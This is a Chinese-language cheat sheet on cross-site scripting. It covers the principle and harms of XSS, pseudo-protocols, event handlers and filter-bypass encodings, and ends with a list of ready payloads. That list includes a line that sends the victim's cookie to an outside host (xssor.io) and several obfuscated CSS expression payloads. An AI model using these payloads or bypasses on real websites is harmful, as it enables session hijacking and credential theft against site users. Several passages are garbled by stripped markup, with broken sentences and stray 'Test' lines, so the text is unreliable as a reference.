XSS漏洞的原理
XSS漏洞是发生在目标网站中目标用户的浏览层面上,当用户浏览器渲染整个HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就会发生。
XSS漏洞的危害
- 获取用户或者管理员的Cookie
- XSS蠕虫
- 钓鱼攻击
- 挂马
- 键盘记录等
以下是可能嵌入跨源的资源的一些示例:
- 标签嵌入跨域脚本。语法错误信息只能在同浪脚本中捕
- 则,CSS的跨域需要一个设置正确的 Content-Type消息头。不同浏览器有不同的限
制:IE, Firefox, Chrome, Safari(跳至CVE-2010-0051)部分和 Opera - 嵌入图片。支持的图片格式包括PNG,JPEG,GlF,BMP,SVG,
- @font-face引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同
源字体( same-origin fonts) - 和
伪协议
伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,而是为关联应用程序而使用的。如:tencent://
(关联QQ),data:
(用base64编码来在浏览器端输出二进制文件),还有就是javascript:[code]
我们可以在浏览地址栏里输入"javascript:alert('JS!');",点转到后会发现,实际上是把javascript: 后面的代码当JavaScript来执行,并将结果值返回给当前页面。(XSS Changes Stage #8)
通常只有引用文件的属性才能触发跨站脚本
href=
lowsrc=
bgsound=
background=
value=
action=
dynsrc=
HTML 事件
JavaScript 与 HTML 之间的交互是通过事件来实现的,事件是用户或浏览器自身执行的某种动作,比如 click,mouseover,load 等,响应事件的函数叫事件处理函数(或事件侦听器)。
例如:ux
可用来测试事件型的跨站脚本的事件
onResume onReverse onRowDelete onRowInserted onSeek onSynchRestored
onTimeError onTrackChange onURLFlip onMediaComplete onerrorupdate onrowenter
.......
XSS 绕过
- 基于黑名单绕过 JavaScript 敏感字段
可利用空格,回车和 TAB 键进行绕过
注:javas 与 cript 之间不是空格,是Tab
键,同时也可用回车符
进行拆分关键字
- Unicode编码绕过
- url 编码绕过
- Ascii码绕过
- hex绕过
- 八进制
- base64绕过
- 过滤()圆括号
可以使用反引号代替圆括号
引入伪协议,以及location,然后进行编码拆分。
XSS 常用 payload
>"'
'';!--"=&{()}
'';!--"=&{()}
'';!--"=&{(alert(1))}
`>
HI
'"><"'
new Image().src="http://xssor.io/phishing/cookie.asp?cookie="+escape(document.cookie);
body{xxx:expression(eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125)))}
a{xxx:expression(if(!window.x){alert('xss');window.x=1;})}
a{xxx:\65\78\70\72\65\73\73\69\6f\6e\28\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\27\78\73\73\27\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\3b\7d\29}
body{background:url("javascript:alert('xss')")}
body{background:url(JavAs cr
ipt:alert(0))}
@i\6d\70o\72\74'javascr\ipt:alert(document.cookie)';
alert(String(/xss/).substr(1,3))
alert(/xss/.source)
Test
x='\x61\x6c\x65\x72\x74\x28\x31\x29';new Function(x)()
Test
Test